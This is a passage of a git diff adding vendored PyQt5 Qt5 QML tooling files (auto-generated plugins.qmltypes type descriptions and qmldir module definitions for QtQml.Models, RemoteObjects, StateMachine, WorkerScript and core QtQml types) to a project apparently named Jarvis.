name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + file: "private/qqmlmodelsmodule_p.h" + name: "QItemSelectionModel" + prototype: "QObject" + exports: ["QtQml.Models/ItemSelectionModel 2.2"] + exportMetaObjectRevisions: [2] + Enum { + name: "SelectionFlags" + alias: "SelectionFlag" + isFlag: true + values: [ + "NoUpdate", + "Clear", + "Select", + "Deselect", + "Toggle", + "Current", + "Rows", + "Columns", + "SelectCurrent", + "ToggleCurrent", + "ClearAndSelect" + ] + } + Property { name: "model"; type: "QAbstractItemModel"; isPointer: true } + Property { name: "hasSelection"; type: "bool"; isReadonly: true } + Property { name: "currentIndex"; type: "QModelIndex"; isReadonly: true } + Property { name: "selection"; type: "QItemSelection"; isReadonly: true } + Property { name: "selectedIndexes"; type: "QModelIndexList"; isReadonly: true } + Signal { + name: "selectionChanged" + Parameter { name: "selected"; type: "QItemSelection" } + Parameter { name: "deselected"; type: "QItemSelection" } + } + Signal { + name: "currentChanged" + Parameter { name: "current"; type: "QModelIndex" } + Parameter { name: "previous"; type: "QModelIndex" } + } + Signal { + name: "currentRowChanged" + Parameter { name: "current"; type: "QModelIndex" } + Parameter { name: "previous"; type: "QModelIndex" } + } + Signal { + name: "currentColumnChanged" + Parameter { name: "current"; type: "QModelIndex" } + Parameter { name: "previous"; type: "QModelIndex" } + } + Signal { + name: "modelChanged" + Parameter { name: "model"; type: "QAbstractItemModel"; isPointer: true } + } + Method { + name: "setCurrentIndex" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "command"; type: "QItemSelectionModel::SelectionFlags" } + } + Method { + name: "select" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "command"; type: "QItemSelectionModel::SelectionFlags" } + } + Method { + name: "select" + Parameter { name: "selection"; type: "QItemSelection" } + Parameter { name: "command"; type: "QItemSelectionModel::SelectionFlags" } + } + Method { name: "clear" } + Method { name: "reset" } + Method { name: "clearSelection" } + Method { name: "clearCurrentIndex" } + Method { + name: "_q_columnsAboutToBeRemoved" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_rowsAboutToBeRemoved" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_columnsAboutToBeInserted" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_rowsAboutToBeInserted" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Method { + name: "_q_layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Method { name: "_q_layoutAboutToBeChanged" } + Method { + name: "_q_layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Method { + name: "_q_layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Method { name: "_q_layoutChanged" } + Method { + name: "isSelected" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "isRowSelected" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "isRowSelected" + type: "bool" + Parameter { name: "row"; type: "int" } + } + Method { + name: "isColumnSelected" + type: "bool" + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "isColumnSelected" + type: "bool" + Parameter { name: "column"; type: "int" } + } + Method { + name: "rowIntersectsSelection" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "rowIntersectsSelection" + type: "bool" + Parameter { name: "row"; type: "int" } + } + Method { + name: "columnIntersectsSelection" + type: "bool" + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "columnIntersectsSelection" + type: "bool" + Parameter { name: "column"; type: "int" } + } + Method { + name: "selectedRows" + type: "QModelIndexList" + Parameter { name: "column"; type: "int" } + } + Method { name: "selectedRows"; type: "QModelIndexList" } + Method { + name: "selectedColumns" + type: "QModelIndexList" + Parameter { name: "row"; type: "int" } + } + Method { name: "selectedColumns"; type: "QModelIndexList" } + } + Component { + file: "private/qqmlabstractdelegatecomponent_p.h" + name: "QQmlAbstractDelegateComponent" + prototype: "QQmlComponent" + exports: ["QtQml.Models/AbstractDelegateComponent 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Signal { name: "delegateChanged" } + } + Component { + file: "private/qqmldelegatemodel_p.h" + name: "QQmlDelegateModel" + defaultProperty: "delegate" + prototype: "QQmlInstanceModel" + exports: [ + "QtQml.Models/DelegateModel 2.1", + "QtQml.Models/DelegateModel 2.15" + ] + exportMetaObjectRevisions: [1, 15] + attachedType: "QQmlDelegateModelAttached" + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "filterOnGroup"; type: "string" } + Property { name: "items"; type: "QQmlDelegateModelGroup"; isReadonly: true; isPointer: true } + Property { + name: "persistedItems" + type: "QQmlDelegateModelGroup" + isReadonly: true + isPointer: true + } + Property { name: "groups"; type: "QQmlDelegateModelGroup"; isList: true; isReadonly: true } + Property { name: "parts"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "rootIndex"; type: "QVariant" } + Signal { name: "filterGroupChanged" } + Signal { name: "defaultGroupsChanged" } + Method { + name: "_q_itemsChanged" + Parameter { name: "index"; type: "int" } + Parameter { name: "count"; type: "int" } + Parameter { name: "roles"; type: "QVector" } + } + Method { + name: "_q_itemsInserted" + Parameter { name: "index"; type: "int" } + Parameter { name: "count"; type: "int" } + } + Method { + name: "_q_itemsRemoved" + Parameter { name: "index"; type: "int" } + Parameter { name: "count"; type: "int" } + } + Method { + name: "_q_itemsMoved" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + Parameter { name: "count"; type: "int" } + } + Method { name: "_q_modelReset" } + Method { + name: "_q_rowsInserted" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "begin"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "_q_rowsRemoved" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_rowsMoved" + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + Parameter { type: "int" } + Parameter { type: "QModelIndex" } + Parameter { type: "int" } + } + Method { + name: "_q_dataChanged" + Parameter { type: "QModelIndex" } + Parameter { type: "QModelIndex" } + Parameter { type: "QVector" } + } + Method { + name: "_q_layoutChanged" + Parameter { type: "QList" } + Parameter { type: "QAbstractItemModel::LayoutChangeHint" } + } + Method { + name: "modelIndex" + type: "QVariant" + Parameter { name: "idx"; type: "int" } + } + Method { name: "parentModelIndex"; type: "QVariant" } + } + Component { + name: "QQmlDelegateModelAttached" + prototype: "QObject" + Property { name: "model"; type: "QQmlDelegateModel"; isReadonly: true; isPointer: true } + Property { name: "groups"; type: "QStringList" } + Property { name: "isUnresolved"; type: "bool"; isReadonly: true } + Signal { name: "unresolvedChanged" } + } + Component { + file: "private/qqmldelegatemodel_p.h" + name: "QQmlDelegateModelGroup" + prototype: "QObject" + exports: ["QtQml.Models/DelegateModelGroup 2.1"] + exportMetaObjectRevisions: [1] + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "name"; type: "string" } + Property { name: "includeByDefault"; type: "bool" } + Signal { name: "defaultIncludeChanged" } + Signal { + name: "changed" + Parameter { name: "removed"; type: "QJSValue" } + Parameter { name: "inserted"; type: "QJSValue" } + } + Method { + name: "insert" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "create" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "resolve" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "remove" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "addGroups" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "removeGroups" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "setGroups" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "move" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + } + Component { + file: "private/qqmlobjectmodel_p.h" + name: "QQmlInstanceModel" + prototype: "QObject" + Property { name: "count"; type: "int"; isReadonly: true } + Signal { + name: "modelUpdated" + Parameter { name: "changeSet"; type: "QQmlChangeSet" } + Parameter { name: "reset"; type: "bool" } + } + Signal { + name: "createdItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "initItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "destroyingItem" + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "itemPooled" + revision: 15 + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "itemReused" + revision: 15 + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + } + Component { + file: "private/qqmlinstantiator_p.h" + name: "QQmlInstantiator" + defaultProperty: "delegate" + prototype: "QObject" + exports: ["QtQml.Models/Instantiator 2.14"] + exportMetaObjectRevisions: [14] + Property { name: "active"; type: "bool" } + Property { name: "asynchronous"; type: "bool" } + Property { name: "model"; type: "QVariant" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "object"; type: "QObject"; isReadonly: true; isPointer: true } + Signal { + name: "objectAdded" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Signal { + name: "objectRemoved" + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "_q_createdItem" + Parameter { type: "int" } + Parameter { type: "QObject"; isPointer: true } + } + Method { + name: "_q_modelUpdated" + Parameter { type: "QQmlChangeSet" } + Parameter { type: "bool" } + } + Method { + name: "objectAt" + type: "QObject*" + Parameter { name: "index"; type: "int" } + } + } + Component { + file: "private/qqmllistmodel_p.h" + name: "QQmlListElement" + prototype: "QObject" + exports: ["QtQml.Models/ListElement 2.1"] + exportMetaObjectRevisions: [1] + } + Component { + file: "private/qqmllistmodel_p.h" + name: "QQmlListModel" + prototype: "QAbstractListModel" + exports: ["QtQml.Models/ListModel 2.1", "QtQml.Models/ListModel 2.14"] + exportMetaObjectRevisions: [1, 14] + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "dynamicRoles"; type: "bool" } + Property { name: "agent"; revision: 14; type: "QObject"; isReadonly: true; isPointer: true } + Method { name: "clear" } + Method { + name: "remove" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "append" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "insert" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + Method { + name: "set" + Parameter { name: "index"; type: "int" } + Parameter { name: "value"; type: "QJSValue" } + } + Method { + name: "setProperty" + Parameter { name: "index"; type: "int" } + Parameter { name: "property"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "move" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + Parameter { name: "count"; type: "int" } + } + Method { name: "sync" } + } + Component { + file: "private/qqmllistmodelworkeragent_p.h" + name: "QQmlListModelWorkerAgent" + prototype: "QObject" + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "engine"; type: "QV4::ExecutionEngine"; isPointer: true } + Signal { + name: "engineChanged" + Parameter { name: "engine"; type: "QV4::ExecutionEngine"; isPointer: true } + } + Method { name: "addref" } + Method { name: "release" } + Method { name: "clear" } + Method { + name: "remove" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "append" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "insert" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "get" + type: "QJSValue" + Parameter { name: "index"; type: "int" } + } + Method { + name: "set" + Parameter { name: "index"; type: "int" } + Parameter { name: "value"; type: "QJSValue" } + } + Method { + name: "setProperty" + Parameter { name: "index"; type: "int" } + Parameter { name: "property"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "move" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + Parameter { name: "count"; type: "int" } + } + Method { name: "sync" } + } + Component { + file: "private/qqmlobjectmodel_p.h" + name: "QQmlObjectModel" + defaultProperty: "children" + prototype: "QQmlInstanceModel" + exports: [ + "QtQml.Models/ObjectModel 2.1", + "QtQml.Models/ObjectModel 2.15", + "QtQml.Models/ObjectModel 2.3" + ] + exportMetaObjectRevisions: [1, 15, 3] + attachedType: "QQmlObjectModelAttached" + Property { name: "children"; type: "QObject"; isList: true; isReadonly: true } + Method { name: "clear"; revision: 3 } + Method { + name: "get" + revision: 3 + type: "QObject*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "append" + revision: 3 + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "insert" + revision: 3 + Parameter { name: "index"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "move" + revision: 3 + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + Parameter { name: "n"; type: "int" } + } + Method { + name: "move" + revision: 3 + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + } + Method { + name: "remove" + revision: 3 + Parameter { name: "index"; type: "int" } + Parameter { name: "n"; type: "int" } + } + Method { + name: "remove" + revision: 3 + Parameter { name: "index"; type: "int" } + } + } + Component { + name: "QQmlObjectModelAttached" + prototype: "QObject" + Property { name: "index"; type: "int"; isReadonly: true } + } + Component { + file: "private/qquickpackage_p.h" + name: "QQuickPackage" + defaultProperty: "data" + prototype: "QObject" + exports: ["QtQml.Models/Package 2.14"] + exportMetaObjectRevisions: [14] + attachedType: "QQuickPackageAttached" + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + name: "QQuickPackageAttached" + prototype: "QObject" + Property { name: "name"; type: "string" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/qmldir new file mode 100644 index 00000000..2dd20b92 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/Models.2/qmldir @@ -0,0 +1,4 @@ +module QtQml.Models +plugin modelsplugin +classname QtQmlModelsPlugin +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/plugins.qmltypes new file mode 100644 index 00000000..24397152 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/plugins.qmltypes @@ -0,0 +1,75 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQml.RemoteObjects 1.0' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QRemoteObjectAbstractPersistedStore" + prototype: "QObject" + exports: ["QtQml.RemoteObjects/PersistedStore 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + name: "QRemoteObjectNode" + prototype: "QObject" + exports: ["QtQml.RemoteObjects/Node 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "ErrorCode" + values: { + "NoError": 0, + "RegistryNotAcquired": 1, + "RegistryAlreadyHosted": 2, + "NodeIsNoServer": 3, + "ServerAlreadyCreated": 4, + "UnintendedRegistryHosting": 5, + "OperationNotValidOnClientNode": 6, + "SourceNotRegistered": 7, + "MissingObjectName": 8, + "HostUrlInvalid": 9, + "ProtocolMismatch": 10, + "ListenFailed": 11 + } + } + Property { name: "registryUrl"; type: "QUrl" } + Property { + name: "persistedStore" + type: "QRemoteObjectAbstractPersistedStore" + isPointer: true + } + Property { name: "heartbeatInterval"; type: "int" } + Signal { + name: "remoteObjectAdded" + Parameter { type: "QRemoteObjectSourceLocation" } + } + Signal { + name: "remoteObjectRemoved" + Parameter { type: "QRemoteObjectSourceLocation" } + } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QRemoteObjectNode::ErrorCode" } + } + Signal { + name: "heartbeatIntervalChanged" + Parameter { name: "heartbeatInterval"; type: "int" } + } + Method { + name: "connectToNode" + type: "bool" + Parameter { name: "address"; type: "QUrl" } + } + } + Component { + name: "QRemoteObjectSettingsStore" + prototype: "QRemoteObjectAbstractPersistedStore" + exports: ["QtQml.RemoteObjects/SettingsStore 1.0"] + exportMetaObjectRevisions: [0] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qmldir new file mode 100644 index 00000000..e6f2c537 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qmldir @@ -0,0 +1,3 @@ +module QtQml.RemoteObjects +plugin qtqmlremoteobjects +classname QtQmlRemoteObjectsPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qtqmlremoteobjects.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qtqmlremoteobjects.dll new file mode 100644 index 00000000..01cabad2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/RemoteObjects/qtqmlremoteobjects.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/plugins.qmltypes new file mode 100644 index 00000000..0f602118 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/plugins.qmltypes @@ -0,0 +1,176 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "finalstate.h" + name: "FinalState" + defaultProperty: "children" + prototype: "QFinalState" + exports: ["QtQml.StateMachine/FinalState 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "children"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + file: "statemachineforeign.h" + name: "QAbstractState" + prototype: "QObject" + exports: ["QtQml.StateMachine/QAbstractState 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "active"; type: "bool"; isReadonly: true } + Signal { name: "entered" } + Signal { name: "exited" } + Signal { + name: "activeChanged" + Parameter { name: "active"; type: "bool" } + } + } + Component { + name: "QAbstractTransition" + prototype: "QObject" + Enum { + name: "TransitionType" + values: ["ExternalTransition", "InternalTransition"] + } + Property { name: "sourceState"; type: "QState"; isReadonly: true; isPointer: true } + Property { name: "targetState"; type: "QAbstractState"; isPointer: true } + Property { name: "targetStates"; type: "QList" } + Property { name: "transitionType"; revision: 1; type: "TransitionType" } + Signal { name: "triggered" } + } + Component { name: "QFinalState"; prototype: "QAbstractState" } + Component { + file: "statemachineforeign.h" + name: "QHistoryState" + prototype: "QAbstractState" + exports: ["QtQml.StateMachine/HistoryState 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "HistoryType" + values: ["ShallowHistory", "DeepHistory"] + } + Property { name: "defaultState"; type: "QAbstractState"; isPointer: true } + Property { name: "defaultTransition"; type: "QAbstractTransition"; isPointer: true } + Property { name: "historyType"; type: "HistoryType" } + } + Component { + file: "statemachineforeign.h" + name: "QSignalTransition" + prototype: "QAbstractTransition" + exports: [ + "QtQml.StateMachine/QSignalTransition 1.0", + "QtQml.StateMachine/QSignalTransition 1.1" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Property { name: "senderObject"; type: "QObject"; isPointer: true } + Property { name: "signal"; type: "QByteArray" } + } + Component { + file: "statemachineforeign.h" + name: "QState" + prototype: "QAbstractState" + exports: ["QtQml.StateMachine/QState 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "ChildMode" + values: ["ExclusiveStates", "ParallelStates"] + } + Enum { + name: "RestorePolicy" + values: ["DontRestoreProperties", "RestoreProperties"] + } + Property { name: "initialState"; type: "QAbstractState"; isPointer: true } + Property { name: "errorState"; type: "QAbstractState"; isPointer: true } + Property { name: "childMode"; type: "ChildMode" } + Signal { name: "finished" } + Signal { name: "propertiesAssigned" } + } + Component { + name: "QStateMachine" + prototype: "QState" + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "globalRestorePolicy"; type: "QState::RestorePolicy" } + Property { name: "running"; type: "bool" } + Property { name: "animated"; type: "bool" } + Signal { name: "started" } + Signal { name: "stopped" } + Signal { + name: "runningChanged" + Parameter { name: "running"; type: "bool" } + } + Method { name: "start" } + Method { name: "stop" } + Method { + name: "setRunning" + Parameter { name: "running"; type: "bool" } + } + Method { name: "_q_start" } + Method { name: "_q_process" } + Method { name: "_q_animationFinished" } + Method { + name: "_q_startDelayedEventTimer" + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { + name: "_q_killDelayedEventTimer" + Parameter { type: "int" } + Parameter { type: "int" } + } + } + Component { + file: "signaltransition.h" + name: "SignalTransition" + prototype: "QSignalTransition" + exports: [ + "QtQml.StateMachine/SignalTransition 1.0", + "QtQml.StateMachine/SignalTransition 1.1" + ] + exportMetaObjectRevisions: [0, 1] + Property { name: "signal"; type: "QJSValue" } + Property { name: "guard"; type: "QQmlScriptString" } + Signal { name: "invokeYourself" } + Signal { name: "qmlSignalChanged" } + Method { name: "invoke" } + } + Component { + file: "state.h" + name: "State" + defaultProperty: "children" + prototype: "QState" + exports: ["QtQml.StateMachine/State 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "children"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + file: "statemachine.h" + name: "StateMachine" + defaultProperty: "children" + prototype: "QStateMachine" + exports: ["QtQml.StateMachine/StateMachine 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "children"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "running"; type: "bool" } + Signal { name: "qmlRunningChanged" } + Method { name: "checkChildMode" } + } + Component { + file: "timeouttransition.h" + name: "TimeoutTransition" + prototype: "QSignalTransition" + exports: [ + "QtQml.StateMachine/TimeoutTransition 1.0", + "QtQml.StateMachine/TimeoutTransition 1.1" + ] + exportMetaObjectRevisions: [0, 1] + Property { name: "timeout"; type: "int" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qmldir new file mode 100644 index 00000000..8bc38312 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qmldir @@ -0,0 +1,4 @@ +module QtQml.StateMachine +plugin qtqmlstatemachine +classname QtQmlStateMachinePlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qtqmlstatemachine.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qtqmlstatemachine.dll new file mode 100644 index 00000000..e71460a1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/StateMachine/qtqmlstatemachine.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/plugins.qmltypes new file mode 100644 index 00000000..057136bc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/plugins.qmltypes @@ -0,0 +1,31 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "private/qquickworkerscript_p.h" + name: "QQuickWorkerScript" + prototype: "QObject" + exports: [ + "QtQml.WorkerScript/WorkerScript 2.0", + "QtQml.WorkerScript/WorkerScript 2.15" + ] + exportMetaObjectRevisions: [0, 15] + Property { name: "source"; type: "QUrl" } + Property { name: "ready"; revision: 15; type: "bool"; isReadonly: true } + Signal { name: "readyChanged"; revision: 15 } + Signal { + name: "message" + Parameter { name: "messageObject"; type: "QJSValue" } + } + Method { + name: "sendMessage" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/qmldir new file mode 100644 index 00000000..1606400a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/qmldir @@ -0,0 +1,3 @@ +module QtQml.WorkerScript +plugin workerscriptplugin +classname QtQmlWorkerScriptPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/workerscriptplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/workerscriptplugin.dll new file mode 100644 index 00000000..1a2bdda9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/WorkerScript.2/workerscriptplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/plugins.qmltypes new file mode 100644 index 00000000..b73940aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/plugins.qmltypes @@ -0,0 +1,279 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "private/qqmlengine_p.h" + name: "QObject" + exports: ["QML/QtObject 1.0", "QtQml/QtObject 2.0"] + exportMetaObjectRevisions: [0, 0] + Property { name: "objectName"; type: "string" } + Signal { + name: "objectNameChanged" + Parameter { name: "objectName"; type: "string" } + } + Method { + name: "_q_reregisterTimers" + Parameter { type: "void"; isPointer: true } + } + Method { name: "toString" } + Method { name: "destroy" } + Method { + name: "destroy" + Parameter { name: "delay"; type: "int" } + } + } + Component { + file: "private/qqmlbind_p.h" + name: "QQmlBind" + prototype: "QObject" + exports: [ + "QtQml/Binding 2.0", + "QtQml/Binding 2.14", + "QtQml/Binding 2.8" + ] + exportMetaObjectRevisions: [0, 14, 8] + Enum { + name: "RestorationMode" + values: [ + "RestoreNone", + "RestoreBinding", + "RestoreValue", + "RestoreBindingOrValue" + ] + } + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "property"; type: "string" } + Property { name: "value"; type: "QJSValue" } + Property { name: "when"; type: "bool" } + Property { name: "delayed"; revision: 8; type: "bool" } + Property { name: "restoreMode"; revision: 14; type: "RestorationMode" } + Method { name: "targetValueChanged" } + } + Component { + file: "qqmlcomponent.h" + name: "QQmlComponent" + prototype: "QObject" + exports: ["QML/Component 1.0", "QtQml/Component 2.0"] + exportMetaObjectRevisions: [0, 0] + attachedType: "QQmlComponentAttached" + Enum { + name: "CompilationMode" + values: ["PreferSynchronous", "Asynchronous"] + } + Enum { + name: "Status" + values: ["Null", "Ready", "Loading", "Error"] + } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "url"; type: "QUrl"; isReadonly: true } + Signal { + name: "statusChanged" + Parameter { type: "QQmlComponent::Status" } + } + Signal { + name: "progressChanged" + Parameter { type: "double" } + } + Method { + name: "loadUrl" + Parameter { name: "url"; type: "QUrl" } + } + Method { + name: "loadUrl" + Parameter { name: "url"; type: "QUrl" } + Parameter { name: "mode"; type: "CompilationMode" } + } + Method { + name: "setData" + Parameter { type: "QByteArray" } + Parameter { name: "baseUrl"; type: "QUrl" } + } + Method { name: "errorString"; type: "string" } + Method { + name: "createObject" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "incubateObject" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + } + Component { + file: "private/qqmlcomponentattached_p.h" + name: "QQmlComponentAttached" + prototype: "QObject" + Signal { name: "completed" } + Signal { name: "destruction" } + } + Component { + file: "private/qqmlconnections_p.h" + name: "QQmlConnections" + prototype: "QObject" + exports: ["QtQml/Connections 2.0", "QtQml/Connections 2.3"] + exportMetaObjectRevisions: [0, 3] + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "enabled"; revision: 3; type: "bool" } + Property { name: "ignoreUnknownSignals"; type: "bool" } + Signal { name: "enabledChanged"; revision: 3 } + } + Component { + file: "private/qqmlvaluetype_p.h" + name: "QQmlEasingValueType" + exports: ["QtQml/Easing 